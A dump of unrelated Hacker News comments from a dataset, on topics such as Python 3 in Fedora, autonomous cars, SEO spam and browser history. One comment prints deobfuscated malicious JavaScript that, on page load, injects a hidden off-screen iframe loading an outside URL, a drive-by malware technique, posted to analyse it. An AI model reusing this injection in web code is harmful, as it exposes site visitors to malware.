skysight-inc/HackerNews huggingface dataset:
> NetFront (not China)
> NF Browser (only China)

Anyone has a clue what is the difference between those and what it has to do with China? The license terms are exactly the same except for the name of the software. Also, NF Browser redirects to NetFront on Wikipedia (https://en.wikipedia.org/w/index.php?title=NF_Browser&redire...).
when many attacks are occurs it is going more interesting...
Fun. Or sort of. Playing, I just to know... :P
What, because he mentioned "mosque" in that list? I think you're being oversensitive.
> [Maybe] the reason we keep building tree-like data structures is because that's how our minds work.

No. That's how physical space works. When you're a library, and you need your user to be able to find the books, you don't have a choice: any given book must be in one shelf, in one alley, in one room. And bam, you have a tree hierarchy that is three levels deep.

But our minds are better at dealing with tags. Just see how popular they are in blogs. I bet that a tag based file system would be vastly better at storing personal data than a hierarchical one.
What if for whatever reason your website goes down for a bit.... you go on holiday not realizing because everyone needs a holiday for a couple weeks.. come back oh no.. will the scrapers now take your place as the originals? That is the question.
mysql.com was hacked by a sql injection [0]. microsoft.com had XSS vulnerabilities a while back that allowed auth token harvesting via an overly generous cookie paths [1].

Any website in the world has the potential to be flagged as serving malware.

[0] http://www.pcworld.com/article/240609/mysqlcom_hacked_to_ser...
[1] http://www.marw0rm.com/xss-flaw-on-office-microsoft-com-disc... etc
for you yes ... for us no !
Can we know why you got no reply and no reward !
I wouldn't say that it is irrational. It's about wanting to be in control of your own fate as much as you can be.
and you now using sql-prepare-query instructions after escape from php?
Before the introduction of tablets, traditional computng devices performed the tasks now expected of tablets. They simply offered an alternative input method and a more convenient form factor.

We need to quit acting like convergence forces a computer to do something that its not well-suited for. Before the iPad, computers were used to consume content. In the past, we did have to make compromises, because the technology wasn't sufficiently mature. Now it is, and we don't have to compromise.

In my hypothetical scenario, the device is equally well suited to being used as a tablet or an ultrabook. Such a hypothetical device renders your argument moot, because your argument depdends on a hybrid device not being able to perform as well as a single purpose device. We are at the point where hybrids are a small fraction of a lb heavier than a tablet while in tablet mode, and a small fraction heavier than a Macbook Air while in laptop mode. This indicates that the technology is there, we simply need someone to come up with a good design.
This code deobfuscates basically to

tmp3 = (tmp2 = document.createElement('iframe')).style;
tmp2.src = 'http://lnkhere.reviewhdtv.co.uk/stat.htm';
tmp1 = (tmp0 = document.createElement('div')).style;
tmp1.width = tmp1.height = '-10000px';
tmp1.overflow = 'hidden'; tmp1.position = 'absolute'; tmp1.left = '-10000px';
tmp4 = document.getElementsByTagName('div');
tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);

Wrapped into onload.
There's a big difference between imaging and treatment radiation.
Too Scared To Write A Line Of Code | Ben Howdle
TPF...
I wonder what takes up that much space in Photoshop. I suspect the brush files, iirc those take up quite some space. I can imagine Pixelmator uses much more native / vertex images, like those you can create using PaintCode [1], which generates a bit of native Objective C code to produce the image you draw in that app. Paintcode is a great way to reduce the size of your app's downloaded content, btw.

[1] http://www.paintcodeapp.com/
There is no homogenous group that can be named "the capitalists".
There is no consensus on what exploitaition is.
There is no such term as liberal despotism.
There is no consensus on the directions of moral compass.
The definition of totalitarianism is a political system in which the state holds total authority over the society and seeks to control all aspects of public and private life wherever possible.

So what's left? Oh I got it: CAPITALISM IS BAD.
> allow nearly four times as many cars to travel on a given stretch of highway

That's throughput not total ownership. A manufacturer doesn't monetize throughput. Moreover a study about allowed throughput is about the civil engineering constraints. It doesn't say anything about purchasing demand. Throughput can increase while total ownership decreases if average car utilization increases. The vast majority of cars spend the bulk of their time parked. Autonomy invalidates the reasons why those cars sit parked. If you work in software it's important for you to understand these distinctions. That or you're just trolling. I can't decide.
"It takes an understanding of how people actually work"

A bit heavy handed seeing as how they messed up the entire UI on the desktop, basically giving the finger to the enterprise users. "Oh, you want to work productively on your desktop machine? Here, Enjoy some non optional Metro Tiles that slap you in the face every time you try to navigate around the OS."
http://www.google.com/safebrowsing/diagnostic?site=http://ph...

direct
And if you need to log in from a different computer?

All you are suggesting is replacing one password with another, harder to remember password. The system where the server only stores salted hashes and hashes your password server-side every time you log in is called "good practice". If you're allowing dedicated protocols and hard-to-remember keys, just use public/private keys.
Similarly to the reduction in RAM on the 13" rMBP, they also removed the discrete video card from the baseline 15" model.
How long before cars are zero-day susceptible to remote wireless hacks that can endanger lives of the passengers?

I have seen conspiracy theories about acceleration and brakes being tampered with, but those allude to the tampering while the car was stationary.

When a vehicle has so much code in it, control systems are fly-by-wire, and there is bluetooth and wifi access, it is not a stretch to imagine a malicious entity driving on the highway and taking over nearby vehicles.
BSD, Linux, OS X, Cygwin, OpenIndiana, Minix, IRIX, HP-UX...
Oh no not another one! There goes my afternoon :-P
You know, if you write all your arguments in capslock they will be even more persuasive.

There is no homogenous group of "capitalists". Many regulations are the product of collective wishes of 99% and its absurd to blame some non-existent group for lobbying against "any and all" effective regulation.

I swear someday I will write browser extension to analyze and hide such hand-wavy arguments like this one.
Volvo vision 2020
This is what happens when you give too much power to one company.

What happens? Is it bad that that Google protects users from malware and notifies webmasters that their website was compromised?
Sleep Patterns and Their Role In Productivity
I wonder if we should have been prescribing 3 antibiotics at a time. This would be for the same reason we use redundant disk drives--the odds of one disk write failing might be one in 100. But the odds of 3 disk writes failing simultaneously should be 1 / million. If some bugs need to survive to develop resistance, this seems like it would reduce the chances.
Sure, emotional arguments are a vessel to deliver rational, logical conclusions to those who are not persuaded by logic itself. But rational conclusions and analysis come first.
Or Bill Lewis' Debugging Backwards in Time
http://www.youtube.com/watch?v=xpI8hIgOyko
Think of it this way: we're near a local optimal point using the current policies, and we're not going to dramatically improve if we just keep using a gradient descent type algorithm.

It's time to start fresh and aim for a global optimum instead of just the local one we've been living with for so long. Is it guaranteed that we'll find it? No. Is it worth it? In my opinion, yes.
Most Norwegian towns of Rjukan's size are essentially parking lots.
Virtually all states now require you to be working or looking for work to get food stamps if you are not legally disabled.

People loafing around while getting food stamps does not really exist in the USA for a decade or more now.
Mobile Apps for Architects
Mobile Apps for Architects. Document Apps strengthens the dialogue between architecture and profitability. Profitability is found in the ability to quickly get a structured, overall view of the building process. Docu-App combines information needed by architects, developers, engineers and other consultants.
What I often hear is that Android has the bigger installed base, but iOS converts a lot better.

There's probably the matter of dogfooding... many developers in the US and Europe are huge Apple fanboys. That's my subjective opinion and I wonder if there's a way to validate it (mobile browsing metrics on Hacker News? :) )
> Why bust your ass, endanger your health, and stress yourself out so you can make someone else a load of cash?

One aspect that is often overlooked is that Jobs was an adoptee. My partner is also adopted, and I can tell you that she will struggle with deep rooted fears and self-confidence issues for life. She is also a workaholic. This is not a conscious decision she makes but rather a learned method for dealing with, and perhaps ignoring, her pain.

It's easy to look at things objectively as a third-party observer. My personal opinion is that Jobs did not have a choice in the matter. Work was his coping mechanism to deal with his pain.

Larry Ellison is also adopted, and I find it interesting that he was close friends with Steve Jobs. The two are quite similar in many ways.
The prefrontal cortex regulates the three challenges "I will not", "I will" and "I want". These three challenges cost energy everytime we make it.

That is what we call willpower. And almost everything you do needs willpower.
Willpower doesn't only come in if you wan't to push further.
Right, the beautiful thing about probabilistic machine learning/AI is that it can use the signals it gets, and even ignore some conflicting evidence, without having to be explicitly programmed with rules. I think a lot of people underestimate what's possible there, or take an overly simplistic view of what it'd be capable of, since we're so used to having to design behavior.
it so bravery
A modern IDE already knows the AST it's working with in intimate detail - it has to, so that it can refactor it. But it's still displayed as (mostly) plain text, because that's still the best format for humans to read code (or indeed anything else) in.
PHP webmasters didn't fix the issue and you're complaining about Google?
I'm only interested in cross platform stuff. Whichever part of the stack it is, it must work on Windows, Mac, and Linux.
Average radiologist in the US makes roughly $315,000 (Medscape 2011); 1/3 earn over $400,000.

In France that would be closer to $100,000 (70k euros) typically.
I was curious, why not direct the light towards a tower mirrors arranged such that the dispersion is better? I can see advantages through out the year.
This is ire inducing, as is all the comments agreeing anecdoatly. As someone who has came through the other side I would <emphasis>strongly</emphasis> argue that the level of empathy I feel towards friends in a similar predicatment is limitless.

"A man falls down a hole..."

It speaks to the character of the person if they then think of themselves superior to a friend who is fighting a fight they have been through previously.
Sure, there are many reasons to dislike PHP.
But I wouldn't go as far and call it a malware.
See the title of this post, the $225 million they raised.
Results of this poll as a bar chart in real-time(almost): http://hnlike.com/hncharts/chart/?id=6603807
Mass random Negative seo?
Hello, I have a website that been getting a bunch of random spam links pointing to one random blog post on my website. The links come from spammy guestbook pages and blog comments...like so

The links poitning to my website are found in comments and posts like so..

fgkdjsw gwbho gtrewoij tgrhwkjm tghjk wht
thrwk thwoij thrbj trhgj trhgjm i43 rtighj

Every second randomly generated rubbish links to a different website. And after investigating the autoapprove guestbooks and blog a little I found out that who ever is creating these links are doing it on a big scale with tons more of these comments being posted with a bunch more random website being linked to on them. So far I havent received many of these links and my website has not been effected thus far. (In ahrefs i will occasionally notice a new spam link pop up thta been created... so link by link im getting more and more over time) The other websites I have found in the comments being linked to on ahrefs seem to have a lot more of these links being created over a much longer time period and are now dominating their link profile with tons of garbage... These websites are not even in the same niche as mine... there just random websites.. some are just garbage websites anyway and some are charities and legit websites.

Is some one doing mass negative seo randomly just to spite google or the internet? Or is it someone using automated software and just thinks I have given them a link in the comments or something on my blog post (I haven't)?

Or with many seo software nowadays spammers can add random links from the search results to make posts look more natural?

My website is 1 year old and doesn't have that many links anyway so these spam links will soon add up destroying my business...

(No no I didnt make them myself why would anyone?)

Someone is making these spam links...
During WWII, Rjukan became the target of commando raids by joint British and Norwegian Resistance forces to sabotage the Norsky Hydro plant nearby, which was producing heavy water for the Nazi nuclear bomb programme.

This was proper, hardcore, bad-ass, hero stuff. Guys parachuted into occupied enemy territory, knowing that they faced execution by the Gestapo if they were caught, trekked cross-country for weeks, hid out in the wilderness for months and snuck into a heavily-guarded facility to plant demolition charges. Later they sank a ferry carrying supplies of heavy water being transported back to Germany.

More details here: http://en.wikipedia.org/wiki/Norwegian_heavy_water_sabotage
I would guess the control systems and entertainment/navigation systems are separated for that very reason.
I love examples that show that with a little effort (at least when standing on the shoulders of giants), we can have our cake (nice abstractions) and eat it too (not lose type safety).
Why everyone that works in a digital business should learn some SQL
This is almost entirely an algorithm arms race, since that will enable better capabilities with cheaper sensors/noisier data sources. As such, I predict that Google will mop the floor with the traditional car makers' efforts. For some perspective, most car makers can barely design decent entertainment center software, what makes anyone think they can compete in the computer vision and AI category?

A fully autonomous car with the ability to make complex decisions on local roads is miles different from the adaptive cruise control and lane following/changing they're talking about here, and Google is the only one tackling the whole package.

And the gulf in safety between something that can drive all the time and something that needs the driver to jump back in when it hits a situation it doesn't know how to solve is huge to the point that I probably wouldn't touch the halfway solution with a pole.
Favicion caching is extremely aggressive in Firefox. In the past, visiting the URL of the favicon and pressing Ctrl+F5 was enough. Nowadays, you have clear your cache [1] and then restart your browser.

[1] Tools -> Options -> Advanced -> Network -> Cached Web Content -> Clear Now
Its was definitely hacked .. the log shows that the size of userprefs.js has definitely changed multiple times in the past 25 hrs : http://lerdorf.com/static.log.gz
TDD helps a lot. You may be too scared to write a line of code, but you won't be too scared to write a test. Or fix that test.
thank you for sharing, could you pleas provide the
original algorithm in pseudo code? Ore some link to
references. TY
Perlan II: A glider that aims to go to 90,000ft
Hopefully a replacement for the united nations will come forth and abolish the super powers control over everything.

Second prediction: Hacking will become such a huge problem that fighting it will force everyone into a locked down internet with computers you can't fix or open up without breaking and new standards will be written to replace innovation with an illusion of innovation. Apple Mac Pros are just the start

Third prediction: New STDs?
Ok, so I'll state the obvious - it took almost 6 years from release of python 3.0.0 (2008-12-03)[1] till fedora adopting it. And I thought that cheap PHP hosts takes long time to upgrade PHP version.

Can someone with knowledge of python ecosystem explain what took a major distro so long, given that you could run different versions of python in parallel (or couldn't you?) for some of big pro software that needs the old version?
[1] - http://python.org/download/releases/3.0/
I don't think they provide downloads, but the document includes an offer to obtain the source:

Components of the software used in the vehicle may be free and open source software licensed under the terms of license of the GNU General Public License, Version 2 (GPLv2), GNU Lesser General Public License, Version 2.1 (LGPLv2.1) or GNU Library General Public License, Version 2 (LGPLv2). Upon request, we will supply the source code of the components licensed under the GPLv2, LGPL v2.1 and LGPLv2 on a data-medium (please specify the designation of your vehicle). Please direct your request to the following address within three years after vehicle delivery:

Daimler AG,
HPC: CAC,
Customer Service,
D-70546 Stuttgart

The copyright holders usually do not provide any warranty and assume no liability whatsoever for the free and open source software components. Note that any modificati- on to the vehicle of any kind can void any warranty claim.
This will make some people to switch to other distributions, because in some cases making your software compatible with Python 3 is harder than changing distributions.
So.. SOA.

Everyone is doing it, but I never see details about how the services are wired together.

Do people use ESBs, or directly wire up services to each other?
What's Up With BBM's Android Reviews?
I'm not sure how it could have been more interesting.

The success story ? The happy ending ?
It would defeat the purpose, which is to provide a place where residents can bathe in sunlight (see cable car mention, where residents can/could take trips to the hilltop for some spot sunbathing) during winter months.

The point is not to light up the village (electricity can do that[0]), it's to provide a sunbeam when the sun does not reach high enough above surrounding hills and mountains to directly light up the valley bottom in winter (actually from september to march).

[0] with ~98% of Norway's electricity being hydro, and norway being a net exporter of electricity, feeding electrical appliances is not a huge issue
PredictionIO is an open source machine learning server for software developers
gentoo?

python 3.2.5 there (and not so later) by default and you can run oldest versions in parallel also
It doesnt because we have TLDs. Why is the hierarchy necessary? Why can't we have a one big list of strings matched with IP addresses?
It's because you can have "good" NPE's. Take ARM Holdings for example, they do not manufacture their own chips but rather licenses their designs to other semiconductor manufacturers.
Ehem, I am probably a "dull weirdo", but it's not a prerequisite to learn to code.
Sure, there are significant number of weirdos in this area. Dull, not so much...
It's mostly a marketing hype. Xiaomi is known for it's style for "releasing" a phone that's really cheap for the specs, but limiting the supply until when the price for the hardware drops. Hardcore fans who closely follow the company may get the phone early and brags to their friends about how good the phone is compared to the price thus driving up the hype, but when average consumer can actually get the device it'll not be so impressive anymore.
Now with this reputation more widely known then before, they may be trying to lessen the doubt by promising "weekly" update of the hardware. Thus when they finally have a big enough margin to supply at scale, people won't think the phone is "old".
This is a good move towards real adoption of Python 3, and doesn't have as dire consequences as it seems.

Distros that use Python 3 by default (such as Arch and Gentoo) still allow for Python 2 to work side-by-side with Python 3. Proper separation using virtualenvs works seamlessly, and there's no problem at all to work simultaneously on Py2 and Py3 projects.
The Ketogenic Diet as a Treatment Paradigm for Diverse Neurological Disorders
Drone assassinations and massive surveillance are currently legal. This means that some of the people involved in assassinating and spying are vicious political and military leaders. Why or why not would you start a company that provided services to them?
I was winning after about 60 moves but then got bored and made too long of a string of consecutive ones and the computer caught up. This would be a much better game if I could play it with the keyboard, as I was having difficulty clicking accurately with my mouse (going very fast).
ok, but what took so long for fedora? (in other comment I read about ubuntu waiting just almost 5 years) why?
Maybe it is someone working for a competitor trying to raise their links by getting everyone above them blacklisted by search engines?
nope read it again, this one has an alternate ending
Why does Singapore top so many tables?
Maybe he will :)
Show HN: New developer tool for the JVM
I'd add that if you depend on SEO, I'd be careful about the tld I choose. For instance, the .io has only been upgraded recently from country level to general tld by google. Im not sure .ly and .st are currently treated as generic wrt search engine indexing.
You might lose some of your traffic to the .com name. So it all depends on who your target audience is and how much each lost visitor would cost you.

- If they are older people, most of them would by default type in .com when they hear a business name. (eg - google.com). So go for the .com

- If they are from a particular country that has a strong ctld (uk, .de etc), then don't go for the .com, but go for the tld.

- If they are young and tech savvy. Ignore the .com. Any domain name would be ok as most of them would search and find.

EDIT - And also take into consideration what type of business you are running. If offline business with more offline marketing, then go for the .com. Online marketing, people would click links, so any domain would be ok.
Founder here.

Will be happy to entertain questions, feedback, suggestions.
The Most Minimal Homebrew Computer
We require energy to do anything. Even to just merely exist.

But that isn't all there is to, is it?
Not sure why they went through all that hassle for a something that Apple will surely outlaw in a few weeks.

Seems like an awful waste of time to me.